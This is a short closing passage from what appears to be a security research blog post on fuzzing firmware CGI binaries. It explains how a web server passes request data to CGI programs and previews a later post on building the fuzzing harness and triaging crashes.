In the case of binaries, each time the web server receives a request for a CGI script it will spin up a new process and forward the necessary data to the binary using environment variables, while the body of the request is usually forwarded using standard input. Having no user interaction in the executable makes it easy to write an harness, since all the input will be sent by the webserver right at the start of the execution.

Specifically, the firmware analysed uses two CGIs to handle all of the requests, but we will delve deeper in how exactly it works when developing the fuzzing harness for them in the next post.

In the next post

We will talk about specifics on the process to create the fuzzer and the grammar used for testing the CGI-bins, and how I triaged the crashes.

If you have questions or suggestions, you can email me at max[at]sparrrgh[dot]me.

Footnotes